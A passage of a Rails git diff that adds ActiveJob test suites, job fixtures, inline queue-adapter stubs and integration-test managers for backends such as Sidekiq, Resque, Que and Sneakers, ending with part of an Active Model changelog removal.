+ assert_performed_jobs 3
+ end
+ end
+ end
+
+ def test_assert_no_performed_jobs_with_no_block
+ assert_nothing_raised do
+ assert_no_performed_jobs
+ end
+ end
+
+ def test_assert_no_performed_jobs
+ assert_nothing_raised do
+ assert_no_performed_jobs do
+ # empty block won't perform jobs
+ end
+ end
+ end
+
+ def test_assert_performed_jobs_too_few_sent
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_performed_jobs 2 do
+ HelloJob.perform_later('xavier')
+ end
+ end
+
+ assert_match(/2 .* but 1/, error.message)
+ end
+
+ def test_assert_performed_jobs_too_many_sent
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_performed_jobs 1 do
+ HelloJob.perform_later('cristian')
+ HelloJob.perform_later('guillermo')
+ end
+ end
+
+ assert_match(/1 .* but 2/, error.message)
+ end
+
+ def test_assert_no_performed_jobs_failure
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_no_performed_jobs do
+ HelloJob.perform_later('jeremy')
+ end
+ end
+
+ assert_match(/0 .* but 1/, error.message)
+ end
+
+ def test_assert_performed_job
+ assert_performed_with(job: NestedJob, queue: 'default') do
+ NestedJob.perform_later
+ end
+ end
+
+ def test_assert_performed_job_failure
+ assert_raise ActiveSupport::TestCase::Assertion do
+ assert_performed_with(job: LoggingJob, at: Date.tomorrow.noon, queue: 'default') do
+ NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+ end
+ end
+
+ assert_raise ActiveSupport::TestCase::Assertion do
+ assert_performed_with(job: NestedJob, at: Date.tomorrow.noon, queue: 'low') do
+ NestedJob.set(queue: 'low', wait_until: Date.tomorrow.noon).perform_later
+ end
+ end
+ end
+end
diff --git a/activejob/test/helper.rb b/activejob/test/helper.rb
new file mode 100644
index 0000000000..ec0c8a8ede
--- /dev/null
+++ b/activejob/test/helper.rb
@@ -0,0 +1,29 @@
+require File.expand_path('../../../load_paths', __FILE__)
+
+require 'active_job'
+require 'support/job_buffer'
+
+GlobalID.app = 'aj'
+
+@adapter = ENV['AJADAPTER'] || 'inline'
+
+def sidekiq?
+ @adapter == 'sidekiq'
+end
+
+def ruby_193?
+ RUBY_VERSION == '1.9.3' && RUBY_ENGINE != 'java'
+end
+
+# Sidekiq doesn't work with MRI 1.9.3
+exit if sidekiq? && ruby_193?
+
+if ENV['AJ_INTEGRATION_TESTS']
+ require 'support/integration/helper'
+else
+ require "adapters/#{@adapter}"
+end
+
+require 'active_support/testing/autorun'
+
+ActiveSupport::TestCase.test_order = :random
diff --git a/activejob/test/integration/queuing_test.rb b/activejob/test/integration/queuing_test.rb
new file mode 100644
index 0000000000..38874b51a8
--- /dev/null
+++ b/activejob/test/integration/queuing_test.rb
@@ -0,0 +1,47 @@
+require 'helper'
+require 'jobs/logging_job'
+require 'active_support/core_ext/numeric/time'
+
+class QueuingTest < ActiveSupport::TestCase
+ test 'should run jobs enqueued on a listening queue' do
+ TestJob.perform_later @id
+ wait_for_jobs_to_finish_for(5.seconds)
+ assert job_executed
+ end
+
+ test 'should not run jobs queued on a non-listening queue' do
+ skip if adapter_is?(:inline) || adapter_is?(:sucker_punch)
+ old_queue = TestJob.queue_name
+
+ begin
+ TestJob.queue_as :some_other_queue
+ TestJob.perform_later @id
+ wait_for_jobs_to_finish_for(2.seconds)
+ assert_not job_executed
+ ensure
+ TestJob.queue_name = old_queue
+ end
+ end
+
+ test 'should not run job enqueued in the future' do
+ begin
+ TestJob.set(wait: 10.minutes).perform_later @id
+ wait_for_jobs_to_finish_for(5.seconds)
+ assert_not job_executed
+ rescue NotImplementedError
+ skip
+ end
+ end
+
+ test 'should run job enqueued in the future at the specified time' do
+ begin
+ TestJob.set(wait: 3.seconds).perform_later @id
+ wait_for_jobs_to_finish_for(2.seconds)
+ assert_not job_executed
+ wait_for_jobs_to_finish_for(10.seconds)
+ assert job_executed
+ rescue NotImplementedError
+ skip
+ end
+ end
+end
diff --git a/activejob/test/jobs/callback_job.rb b/activejob/test/jobs/callback_job.rb
new file mode 100644
index 0000000000..891ed9464e
--- /dev/null
+++ b/activejob/test/jobs/callback_job.rb
@@ -0,0 +1,29 @@
+class CallbackJob < ActiveJob::Base
+ before_perform ->(job) { job.history << "CallbackJob ran before_perform" }
+ after_perform ->(job) { job.history << "CallbackJob ran after_perform" }
+
+ before_enqueue ->(job) { job.history << "CallbackJob ran before_enqueue" }
+ after_enqueue ->(job) { job.history << "CallbackJob ran after_enqueue" }
+
+ around_perform do |job, block|
+ job.history << "CallbackJob ran around_perform_start"
+ block.call
+ job.history << "CallbackJob ran around_perform_stop"
+ end
+
+ around_enqueue do |job, block|
+ job.history << "CallbackJob ran around_enqueue_start"
+ block.call
+ job.history << "CallbackJob ran around_enqueue_stop"
+ end
+
+
+ def perform(person = "david")
+ # NOTHING!
+ end
+
+ def history
+ @history ||= []
+ end
+
+end
diff --git a/activejob/test/jobs/gid_job.rb b/activejob/test/jobs/gid_job.rb
new file mode 100644
index 0000000000..e485bfa2dd
--- /dev/null
+++ b/activejob/test/jobs/gid_job.rb
@@ -0,0 +1,8 @@
+require_relative '../support/job_buffer'
+
+class GidJob < ActiveJob::Base
+ def perform(person)
+ JobBuffer.add("Person with ID: #{person.id}")
+ end
+end
+
diff --git a/activejob/test/jobs/hello_job.rb b/activejob/test/jobs/hello_job.rb
new file mode 100644
index 0000000000..022fa58e4a
--- /dev/null
+++ b/activejob/test/jobs/hello_job.rb
@@ -0,0 +1,7 @@
+require_relative '../support/job_buffer'
+
+class HelloJob < ActiveJob::Base
+ def perform(greeter = "David")
+ JobBuffer.add("#{greeter} says hello")
+ end
+end
diff --git a/activejob/test/jobs/logging_job.rb b/activejob/test/jobs/logging_job.rb
new file mode 100644
index 0000000000..d84ed8589b
--- /dev/null
+++ b/activejob/test/jobs/logging_job.rb
@@ -0,0 +1,10 @@
+class LoggingJob < ActiveJob::Base
+ def perform(dummy)
+ logger.info "Dummy, here is it: #{dummy}"
+ end
+
+ def job_id
+ "LOGGING-JOB-ID"
+ end
+end
+
diff --git a/activejob/test/jobs/nested_job.rb b/activejob/test/jobs/nested_job.rb
new file mode 100644
index 0000000000..8c4ec549a6
--- /dev/null
+++ b/activejob/test/jobs/nested_job.rb
@@ -0,0 +1,10 @@
+class NestedJob < ActiveJob::Base
+ def perform
+ LoggingJob.perform_later "NestedJob"
+ end
+
+ def job_id
+ "NESTED-JOB-ID"
+ end
+end
+
diff --git a/activejob/test/jobs/rescue_job.rb b/activejob/test/jobs/rescue_job.rb
new file mode 100644
index 0000000000..f1b9c9349e
--- /dev/null
+++ b/activejob/test/jobs/rescue_job.rb
@@ -0,0 +1,27 @@
+require_relative '../support/job_buffer'
+
+class RescueJob < ActiveJob::Base
+ class OtherError < StandardError; end
+
+ rescue_from(ArgumentError) do
+ JobBuffer.add('rescued from ArgumentError')
+ arguments[0] = "DIFFERENT!"
+ retry_job
+ end
+
+ rescue_from(ActiveJob::DeserializationError) do |e|
+ JobBuffer.add('rescued from DeserializationError')
+ JobBuffer.add("DeserializationError original exception was #{e.original_exception.class.name}")
+ end
+
+ def perform(person = "david")
+ case person
+ when "david"
+ raise ArgumentError, "Hair too good"
+ when "other"
+ raise OtherError
+ else
+ JobBuffer.add('performed beautifully')
+ end
+ end
+end
diff --git a/activejob/test/models/person.rb b/activejob/test/models/person.rb
new file mode 100644
index 0000000000..76a8f40616
--- /dev/null
+++ b/activejob/test/models/person.rb
@@ -0,0 +1,20 @@
+class Person
+ class RecordNotFound < StandardError; end
+
+ include GlobalID::Identification
+
+ attr_reader :id
+
+ def self.find(id)
+ raise RecordNotFound.new("Cannot find person with ID=404") if id.to_i==404
+ new(id)
+ end
+
+ def initialize(id)
+ @id = id
+ end
+
+ def ==(other_person)
+ other_person.is_a?(Person) && id.to_s == other_person.id.to_s
+ end
+end
diff --git a/activejob/test/support/backburner/inline.rb b/activejob/test/support/backburner/inline.rb
new file mode 100644
index 0000000000..f761b53e27
--- /dev/null
+++ b/activejob/test/support/backburner/inline.rb
@@ -0,0 +1,8 @@
+require 'backburner'
+
+Backburner::Worker.class_eval do
+ class << self; alias_method :original_enqueue, :enqueue; end
+ def self.enqueue(job_class, args=[], opts={})
+ job_class.perform(*args)
+ end
+end \ No newline at end of file
diff --git a/activejob/test/support/delayed_job/delayed/backend/test.rb b/activejob/test/support/delayed_job/delayed/backend/test.rb
new file mode 100644
index 0000000000..f80ec3a5a6
--- /dev/null
+++ b/activejob/test/support/delayed_job/delayed/backend/test.rb
@@ -0,0 +1,111 @@
+#copied from https://github.com/collectiveidea/delayed_job/blob/master/spec/delayed/backend/test.rb
+require 'ostruct'
+
+# An in-memory backend suitable only for testing. Tries to behave as if it were an ORM.
+module Delayed
+ module Backend
+ module Test
+ class Job
+ attr_accessor :id
+ attr_accessor :priority
+ attr_accessor :attempts
+ attr_accessor :handler
+ attr_accessor :last_error
+ attr_accessor :run_at
+ attr_accessor :locked_at
+ attr_accessor :locked_by
+ attr_accessor :failed_at
+ attr_accessor :queue
+
+ include Delayed::Backend::Base
+
+ cattr_accessor :id
+ self.id = 0
+
+ def initialize(hash = {})
+ self.attempts = 0
+ self.priority = 0
+ self.id = (self.class.id += 1)
+ hash.each{|k,v| send(:"#{k}=", v)}
+ end
+
+ @jobs = []
+ def self.all
+ @jobs
+ end
+
+ def self.count
+ all.size
+ end
+
+ def self.delete_all
+ all.clear
+ end
+
+ def self.create(attrs = {})
+ new(attrs).tap(&:save)
+ end
+
+ def self.create!(*args); create(*args); end
+
+ def self.clear_locks!(worker_name)
+ all.select{|j| j.locked_by == worker_name}.each {|j| j.locked_by = nil; j.locked_at = nil}
+ end
+
+ # Find a few candidate jobs to run (in case some immediately get locked by others).
+ def self.find_available(worker_name, limit = 5, max_run_time = Worker.max_run_time)
+ jobs = all.select do |j|
+ j.run_at <= db_time_now &&
+ (j.locked_at.nil? || j.locked_at < db_time_now - max_run_time || j.locked_by == worker_name) &&
+ !j.failed?
+ end
+
+ jobs = jobs.select{|j| Worker.queues.include?(j.queue)} if Worker.queues.any?
+ jobs = jobs.select{|j| j.priority >= Worker.min_priority} if Worker.min_priority
+ jobs = jobs.select{|j| j.priority <= Worker.max_priority} if Worker.max_priority
+ jobs.sort_by{|j| [j.priority, j.run_at]}[0..limit-1]
+ end
+
+ # Lock this job for this worker.
+ # Returns true if we have the lock, false otherwise.
+ def lock_exclusively!(max_run_time, worker)
+ now = self.class.db_time_now
+ if locked_by != worker
+ # We don't own this job so we will update the locked_by name and the locked_at
+ self.locked_at = now
+ self.locked_by = worker
+ end
+
+ return true
+ end
+
+ def self.db_time_now
+ Time.current
+ end
+
+ def update_attributes(attrs = {})
+ attrs.each{|k,v| send(:"#{k}=", v)}
+ save
+ end
+
+ def destroy
+ self.class.all.delete(self)
+ end
+
+ def save
+ self.run_at ||= Time.current
+
+ self.class.all << self unless self.class.all.include?(self)
+ true
+ end
+
+ def save!; save; end
+
+ def reload
+ reset
+ self
+ end
+ end
+ end
+ end
+end
diff --git a/guides/code/getting_started/lib/assets/.gitkeep b/activejob/test/support/delayed_job/delayed/serialization/test.rb
index e69de29bb2..e69de29bb2 100644
--- a/guides/code/getting_started/lib/assets/.gitkeep
+++ b/activejob/test/support/delayed_job/delayed/serialization/test.rb
diff --git a/activejob/test/support/integration/adapters/backburner.rb b/activejob/test/support/integration/adapters/backburner.rb
new file mode 100644
index 0000000000..2e82562948
--- /dev/null
+++ b/activejob/test/support/integration/adapters/backburner.rb
@@ -0,0 +1,38 @@
+module BackburnerJobsManager
+ def setup
+ ActiveJob::Base.queue_adapter = :backburner
+ Backburner.configure do |config|
+ config.logger = Rails.logger
+ end
+ unless can_run?
+ puts "Cannot run integration tests for backburner. To be able to run integration tests for backburner you need to install and start beanstalkd.\n"
+ exit
+ end
+ end
+
+ def clear_jobs
+ tube.clear
+ end
+
+ def start_workers
+ @thread = Thread.new { Backburner.work "integration-tests" } # backburner dasherizes the queue name
+ end
+
+ def stop_workers
+ @thread.kill
+ end
+
+ def tube
+ @tube ||= Beaneater::Tube.new(Backburner::Worker.connection, "backburner.worker.queue.integration-tests") # backburner dasherizes the queue name
+ end
+
+ def can_run?
+ begin
+ Backburner::Worker.connection.send :connect!
+ rescue
+ return false
+ end
+ true
+ end
+end
+
diff --git a/activejob/test/support/integration/adapters/delayed_job.rb b/activejob/test/support/integration/adapters/delayed_job.rb
new file mode 100644
index 0000000000..0b591964bc
--- /dev/null
+++ b/activejob/test/support/integration/adapters/delayed_job.rb
@@ -0,0 +1,20 @@
+require 'delayed_job'
+require 'delayed_job_active_record'
+
+module DelayedJobJobsManager
+ def setup
+ ActiveJob::Base.queue_adapter = :delayed_job
+ end
+ def clear_jobs
+ Delayed::Job.delete_all
+ end
+
+ def start_workers
+ @worker = Delayed::Worker.new(quiet: true, sleep_delay: 0.5, queues: %w(integration_tests))
+ @thread = Thread.new { @worker.start }
+ end
+
+ def stop_workers
+ @worker.stop
+ end
+end
diff --git a/activejob/test/support/integration/adapters/inline.rb b/activejob/test/support/integration/adapters/inline.rb
new file mode 100644
index 0000000000..83c38f706f
--- /dev/null
+++ b/activejob/test/support/integration/adapters/inline.rb
@@ -0,0 +1,15 @@
+module InlineJobsManager
+ def setup
+ ActiveJob::Base.queue_adapter = :inline
+ end
+
+ def clear_jobs
+ end
+
+ def start_workers
+ end
+
+ def stop_workers
+ end
+end
+
diff --git a/activejob/test/support/integration/adapters/qu.rb b/activejob/test/support/integration/adapters/qu.rb
new file mode 100644
index 0000000000..3a5b66a057
--- /dev/null
+++ b/activejob/test/support/integration/adapters/qu.rb
@@ -0,0 +1,38 @@
+module QuJobsManager
+ def setup
+ require 'qu-rails'
+ require 'qu-redis'
+ ActiveJob::Base.queue_adapter = :qu
+ ENV['REDISTOGO_URL'] = "tcp://127.0.0.1:6379/12"
+ backend = Qu::Backend::Redis.new
+ backend.namespace = "active_jobs_int_test"
+ Qu.backend = backend
+ Qu.logger = Rails.logger
+ Qu.interval = 0.5
+ unless can_run?
+ puts "Cannot run integration tests for qu. To be able to run integration tests for qu you need to install and start redis.\n"
+ exit
+ end
+ end
+
+ def clear_jobs
+ Qu.clear "integration_tests"
+ end
+
+ def start_workers
+ @thread = Thread.new { Qu::Worker.new("integration_tests").start }
+ end
+
+ def stop_workers
+ @thread.kill
+ end
+
+ def can_run?
+ begin
+ Qu.backend.connection.client.connect
+ rescue
+ return false
+ end
+ true
+ end
+end
diff --git a/activejob/test/support/integration/adapters/que.rb b/activejob/test/support/integration/adapters/que.rb
new file mode 100644
index 0000000000..ba7657a42a
--- /dev/null
+++ b/activejob/test/support/integration/adapters/que.rb
@@ -0,0 +1,37 @@
+module QueJobsManager
+ def setup
+ require 'sequel'
+ ActiveJob::Base.queue_adapter = :que
+ que_url = ENV['QUE_DATABASE_URL'] || 'postgres:///active_jobs_que_int_test'
+ uri = URI.parse(que_url)
+ user = uri.user||ENV['USER']
+ pass = uri.password
+ db = uri.path[1..-1]
+ %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
+ %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+ Que.connection = Sequel.connect(que_url)
+ Que.migrate!
+ Que.mode = :off
+ Que.worker_count = 1
+ rescue Sequel::DatabaseConnectionError
+ puts "Cannot run integration tests for que. To be able to run integration tests for que you need to install and start postgresql.\n"
+ exit
+ end
+
+ def clear_jobs
+ Que.clear!
+ end
+
+ def start_workers
+ @thread = Thread.new do
+ loop do
+ Que::Job.work("integration_tests")
+ sleep 0.5
+ end
+ end
+ end
+
+ def stop_workers
+ @thread.kill
+ end
+end
diff --git a/activejob/test/support/integration/adapters/queue_classic.rb b/activejob/test/support/integration/adapters/queue_classic.rb
new file mode 100644
index 0000000000..038473ccdc
--- /dev/null
+++ b/activejob/test/support/integration/adapters/queue_classic.rb
@@ -0,0 +1,33 @@
+module QueueClassicJobsManager
+ def setup
+ ENV['QC_DATABASE_URL'] ||= 'postgres:///active_jobs_qc_int_test'
+ ENV['QC_LISTEN_TIME'] = "0.5"
+ uri = URI.parse(ENV['QC_DATABASE_URL'])
+ user = uri.user||ENV['USER']
+ pass = uri.password
+ db = uri.path[1..-1]
+ %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
+ %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+ ActiveJob::Base.queue_adapter = :queue_classic
+ QC::Setup.create
+ rescue PG::ConnectionBad
+ puts "Cannot run integration tests for queue_classic. To be able to run integration tests for queue_classic you need to install and start postgresql.\n"
+ exit
+ end
+
+ def clear_jobs
+ QC::Queue.new("integration_tests").delete_all
+ end
+
+ def start_workers
+ QC::Conn.disconnect
+ @pid = fork do
+ worker = QC::Worker.new(q_name: 'integration_tests')
+ worker.start
+ end
+ end
+
+ def stop_workers
+ Process.kill 'HUP', @pid
+ end
+end
diff --git a/activejob/test/support/integration/adapters/resque.rb b/activejob/test/support/integration/adapters/resque.rb
new file mode 100644
index 0000000000..82acb17b2b
--- /dev/null
+++ b/activejob/test/support/integration/adapters/resque.rb
@@ -0,0 +1,49 @@
+module ResqueJobsManager
+ def setup
+ ActiveJob::Base.queue_adapter = :resque
+ Resque.redis = Redis::Namespace.new 'active_jobs_int_test', redis: Redis.connect(url: "tcp://127.0.0.1:6379/12", :thread_safe => true)
+ Resque.logger = Rails.logger
+ unless can_run?
+ puts "Cannot run integration tests for resque. To be able to run integration tests for resque you need to install and start redis.\n"
+ exit
+ end
+ end
+
+ def clear_jobs
+ Resque.queues.each { |queue_name| Resque.redis.del "queue:#{queue_name}" }
+ Resque.redis.keys("delayed:*").each { |key| Resque.redis.del "#{key}" }
+ Resque.redis.del "delayed_queue_schedule"
+ end
+
+ def start_workers
+ @resque_thread = Thread.new do
+ w = Resque::Worker.new("integration_tests")
+ w.term_child = true
+ w.work(0.5)
+ end
+ @scheduler_thread = Thread.new do
+ Resque::Scheduler.configure do |c|
+ c.poll_sleep_amount = 0.5
+ c.dynamic = true
+ c.quiet = true
+ c.logfile = nil
+ end
+ Resque::Scheduler.master_lock.release!
+ Resque::Scheduler.run
+ end
+ end
+
+ def stop_workers
+ @resque_thread.kill
+ @scheduler_thread.kill
+ end
+
+ def can_run?
+ begin
+ Resque.redis.client.connect
+ rescue
+ return false
+ end
+ true
+ end
+end
diff --git a/activejob/test/support/integration/adapters/sidekiq.rb b/activejob/test/support/integration/adapters/sidekiq.rb
new file mode 100644
index 0000000000..bdc61a1462
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sidekiq.rb
@@ -0,0 +1,57 @@
+require 'sidekiq/cli'
+require 'sidekiq/api'
+
+module SidekiqJobsManager
+
+ def setup
+ ActiveJob::Base.queue_adapter = :sidekiq
+ unless can_run?
+ puts "Cannot run integration tests for sidekiq. To be able to run integration tests for sidekiq you need to install and start redis.\n"
+ exit
+ end
+ end
+
+ def clear_jobs
+ Sidekiq::ScheduledSet.new.clear
+ Sidekiq::Queue.new("integration_tests").clear
+ end
+
+ def start_workers
+ fork do
+ sidekiq = Sidekiq::CLI.instance
+ logfile = Rails.root.join("log/sidekiq.log").to_s
+ pidfile = Rails.root.join("tmp/sidekiq.pid").to_s
+ sidekiq.parse([ "--require", Rails.root.to_s,
+ "--queue", "integration_tests",
+ "--logfile", logfile,
+ "--pidfile", pidfile,
+ "--environment", "test",
+ "--concurrency", "1",
+ "--timeout", "1",
+ "--daemon",
+ ])
+ require 'celluloid'
+ require 'sidekiq/scheduled'
+ Sidekiq.poll_interval = 0.5
+ Sidekiq::Scheduled.const_set :INITIAL_WAIT, 1
+ sidekiq.run
+ end
+ sleep 1
+ end
+
+ def stop_workers
+ pidfile = Rails.root.join("tmp/sidekiq.pid").to_s
+ Process.kill 'TERM', File.open(pidfile).read.to_i
+ FileUtils.rm_f pidfile
+ rescue
+ end
+
+ def can_run?
+ begin
+ Sidekiq.redis(&:connect)
+ rescue
+ return false
+ end
+ true
+ end
+end
diff --git a/activejob/test/support/integration/adapters/sneakers.rb b/activejob/test/support/integration/adapters/sneakers.rb
new file mode 100644
index 0000000000..875803a2d8
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sneakers.rb
@@ -0,0 +1,90 @@
+require 'sneakers/runner'
+require 'sneakers/publisher'
+require 'timeout'
+
+module Sneakers
+ class Publisher
+ def safe_ensure_connected
+ @mutex.synchronize do
+ ensure_connection! unless connected?
+ end
+ end
+ end
+end
+
+
+module SneakersJobsManager
+ def setup
+ ActiveJob::Base.queue_adapter = :sneakers
+ Sneakers.configure :heartbeat => 2,
+ :amqp => 'amqp://guest:guest@localhost:5672',
+ :vhost => '/',
+ :exchange => 'active_jobs_sneakers_int_test',
+ :exchange_type => :direct,
+ :daemonize => true,
+ :threads => 1,
+ :workers => 1,
+ :pid_path => Rails.root.join("tmp/sneakers.pid").to_s,
+ :log => Rails.root.join("log/sneakers.log").to_s
+ unless can_run?
+ puts "Cannot run integration tests for sneakers. To be able to run integration tests for sneakers you need to install and start rabbitmq.\n"
+ exit
+ end
+ end
+
+ def clear_jobs
+ bunny_queue.purge
+ end
+
+ def start_workers
+ @pid = fork do
+ queues = %w(integration_tests)
+ workers = queues.map do |q|
+ worker_klass = "ActiveJobWorker"+Digest::MD5.hexdigest(q)
+ Sneakers.const_set(worker_klass, Class.new(ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper) do
+ from_queue q
+ end)
+ end
+ Sneakers::Runner.new(workers).run
+ end
+ begin
+ Timeout.timeout(10) do
+ while bunny_queue.status[:consumer_count] == 0
+ sleep 0.5
+ end
+ end
+ rescue Timeout::Error
+ stop_workers
+ raise "Failed to start sneakers worker"
+ end
+ end
+
+ def stop_workers
+ Process.kill 'TERM', @pid
+ Process.kill 'TERM', File.open(Rails.root.join("tmp/sneakers.pid").to_s).read.to_i
+ rescue
+ end
+
+ def can_run?
+ begin
+ bunny_publisher
+ rescue
+ return false
+ end
+ true
+ end
+
+ protected
+ def bunny_publisher
+ @bunny_publisher ||= begin
+ p = ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper.send(:publisher)
+ p.safe_ensure_connected
+ p
+ end
+ end
+
+ def bunny_queue
+ @queue ||= bunny_publisher.exchange.channel.queue "integration_tests", durable: true
+ end
+
+end
diff --git a/activejob/test/support/integration/adapters/sucker_punch.rb b/activejob/test/support/integration/adapters/sucker_punch.rb
new file mode 100644
index 0000000000..9c0d66b469
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sucker_punch.rb
@@ -0,0 +1,6 @@
+module SuckerPunchJobsManager
+ def setup
+ ActiveJob::Base.queue_adapter = :sucker_punch
+ SuckerPunch.logger = nil
+ end
+end
diff --git a/activejob/test/support/integration/dummy_app_template.rb b/activejob/test/support/integration/dummy_app_template.rb
new file mode 100644
index 0000000000..65994d6a1c
--- /dev/null
+++ b/activejob/test/support/integration/dummy_app_template.rb
@@ -0,0 +1,21 @@
+if ENV['AJADAPTER'] == 'delayed_job'
+ generate "delayed_job:active_record", "--quiet"
+ rake("db:migrate")
+end
+
+initializer 'activejob.rb', <<-CODE
+require "#{File.expand_path("../jobs_manager.rb", __FILE__)}"
+JobsManager.current_manager.setup
+CODE
+
+file 'app/jobs/test_job.rb', <<-CODE
+class TestJob < ActiveJob::Base
+ queue_as :integration_tests
+
+ def perform(x)
+ File.open(Rails.root.join("tmp/\#{x}"), "w+") do |f|
+ f.write x
+ end
+ end
+end
+CODE
diff --git a/activejob/test/support/integration/helper.rb b/activejob/test/support/integration/helper.rb
new file mode 100644
index 0000000000..9bd45e09e8
--- /dev/null
+++ b/activejob/test/support/integration/helper.rb
@@ -0,0 +1,30 @@
+puts "*** rake aj:integration:#{ENV['AJADAPTER']} ***\n"
+
+ENV["RAILS_ENV"] = "test"
+ActiveJob::Base.queue_name_prefix = nil
+
+require 'rails/generators/rails/app/app_generator'
+
+dummy_app_path = Dir.mktmpdir + "/dummy"
+dummy_app_template = File.expand_path("../dummy_app_template.rb", __FILE__)
+args = Rails::Generators::ARGVScrubber.new(["new", dummy_app_path, "--skip-gemfile", "--skip-bundle",
+ "--skip-git", "--skip-spring", "-d", "sqlite3", "--skip-javascript", "--force", "--quiet",
+ "--template", dummy_app_template]).prepare!
+Rails::Generators::AppGenerator.start args
+
+require "#{dummy_app_path}/config/environment.rb"
+
+ActiveRecord::Migrator.migrations_paths = [ Rails.root.join('db/migrate').to_s ]
+require 'rails/test_help'
+
+Rails.backtrace_cleaner.remove_silencers!
+
+require_relative 'test_case_helpers'
+ActiveSupport::TestCase.send(:include, TestCaseHelpers)
+
+JobsManager.current_manager.start_workers
+
+Minitest.after_run do
+ JobsManager.current_manager.stop_workers
+ JobsManager.current_manager.clear_jobs
+end
diff --git a/activejob/test/support/integration/jobs_manager.rb b/activejob/test/support/integration/jobs_manager.rb
new file mode 100644
index 0000000000..4df34aaeb1
--- /dev/null
+++ b/activejob/test/support/integration/jobs_manager.rb
@@ -0,0 +1,27 @@
+class JobsManager
+ @@managers = {}
+ attr :adapter_name
+
+ def self.current_manager
+ @@managers[ENV['AJADAPTER']] ||= new(ENV['AJADAPTER'])
+ end
+
+ def initialize(adapter_name)
+ @adapter_name = adapter_name
+ require_relative "adapters/#{adapter_name}"
+ extend "#{adapter_name.camelize}JobsManager".constantize
+ end
+
+ def setup
+ ActiveJob::Base.queue_adapter = nil
+ end
+
+ def clear_jobs
+ end
+
+ def start_workers
+ end
+
+ def stop_workers
+ end
+end
diff --git a/activejob/test/support/integration/test_case_helpers.rb b/activejob/test/support/integration/test_case_helpers.rb
new file mode 100644
index 0000000000..ee2f6aebea
--- /dev/null
+++ b/activejob/test/support/integration/test_case_helpers.rb
@@ -0,0 +1,48 @@
+require 'active_support/concern'
+require 'support/integration/jobs_manager'
+
+module TestCaseHelpers
+ extend ActiveSupport::Concern
+
+ included do
+ self.use_transactional_fixtures = false
+
+ setup do
+ clear_jobs
+ @id = "AJ-#{SecureRandom.uuid}"
+ end
+
+ teardown do
+ clear_jobs
+ end
+ end
+
+ protected
+
+ def jobs_manager
+ JobsManager.current_manager
+ end
+
+ def clear_jobs
+ jobs_manager.clear_jobs
+ end
+
+ def adapter_is?(adapter)
+ ActiveJob::Base.queue_adapter.name.split("::").last.gsub(/Adapter$/, '').underscore==adapter.to_s
+ end
+
+ def wait_for_jobs_to_finish_for(seconds=60)
+ begin
+ Timeout.timeout(seconds) do
+ while !job_executed do
+ sleep 0.25
+ end
+ end
+ rescue Timeout::Error
+ end
+ end
+
+ def job_executed
+ Dummy::Application.root.join("tmp/#{@id}").exist?
+ end
+end
diff --git a/activejob/test/support/job_buffer.rb b/activejob/test/support/job_buffer.rb
new file mode 100644
index 0000000000..620cb5288d
--- /dev/null
+++ b/activejob/test/support/job_buffer.rb
@@ -0,0 +1,19 @@
+module JobBuffer
+ class << self
+ def clear
+ values.clear
+ end
+
+ def add(value)
+ values << value
+ end
+
+ def values
+ @values ||= []
+ end
+
+ def last_value
+ values.last
+ end
+ end
+end
diff --git a/activejob/test/support/que/inline.rb b/activejob/test/support/que/inline.rb
new file mode 100644
index 0000000000..2e210acb6b
--- /dev/null
+++ b/activejob/test/support/que/inline.rb
@@ -0,0 +1,9 @@
+require 'que'
+
+Que::Job.class_eval do
+ class << self; alias_method :original_enqueue, :enqueue; end
+ def self.enqueue(*args)
+ args.pop if args.last.is_a?(Hash)
+ self.run(*args)
+ end
+end
diff --git a/activejob/test/support/queue_classic/inline.rb b/activejob/test/support/queue_classic/inline.rb
new file mode 100644
index 0000000000..5743d5bbb5
--- /dev/null
+++ b/activejob/test/support/queue_classic/inline.rb
@@ -0,0 +1,23 @@
+require 'queue_classic'
+
+module QC
+ class Queue
+ def enqueue(method, *args)
+ receiver_str, _, message = method.rpartition('.')
+ receiver = eval(receiver_str)
+ receiver.send(message, *args)
+ end
+
+ def enqueue_in(seconds, method, *args)
+ receiver_str, _, message = method.rpartition('.')
+ receiver = eval(receiver_str)
+ receiver.send(message, *args)
+ end
+
+ def enqueue_at(not_before, method, *args)
+ receiver_str, _, message = method.rpartition('.')
+ receiver = eval(receiver_str)
+ receiver.send(message, *args)
+ end
+ end
+end
diff --git a/activejob/test/support/sneakers/inline.rb b/activejob/test/support/sneakers/inline.rb
new file mode 100644
index 0000000000..16d9b830fa
--- /dev/null
+++ b/activejob/test/support/sneakers/inline.rb
@@ -0,0 +1,12 @@
+require 'sneakers'
+
+module Sneakers
+ module Worker
+ module ClassMethods
+ def enqueue(msg)
+ worker = self.new(nil, nil, {})
+ worker.work(*msg)
+ end
+ end
+ end
+end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index b955e98835..b86e988841 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,104 +1 @@
-## Rails 4.0.0 (unreleased) ##
-
-* `[attribute]_changed?` now returns `false` after a call to `reset_[attribute]!`
-
- *Renato Mascarenhas*
-
-* Observers was extracted from Active Model as `rails-observers` gem.
-
- *Rafael Mendonça França*
-
-* Specify type of singular association during serialization *Steve Klabnik*
-
-* Fixed length validator to correctly handle nil values. Fixes #7180.
-
- *Michal Zima*
-
-* Removed dispensable `require` statements. Make sure to require `active_model` before requiring
- individual parts of the framework.
-
- *Yves Senn*
-
-* Use BCrypt's MIN_COST in the test environment for speedier tests when using `has_secure_pasword`.
-
- *Brian Cardarella + Jeremy Kemper + Trevor Turk*
-
-* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to
- protect attributes from mass assignment when non-permitted attributes are passed.
-
- *DHH + Guillermo Iguaran*
-
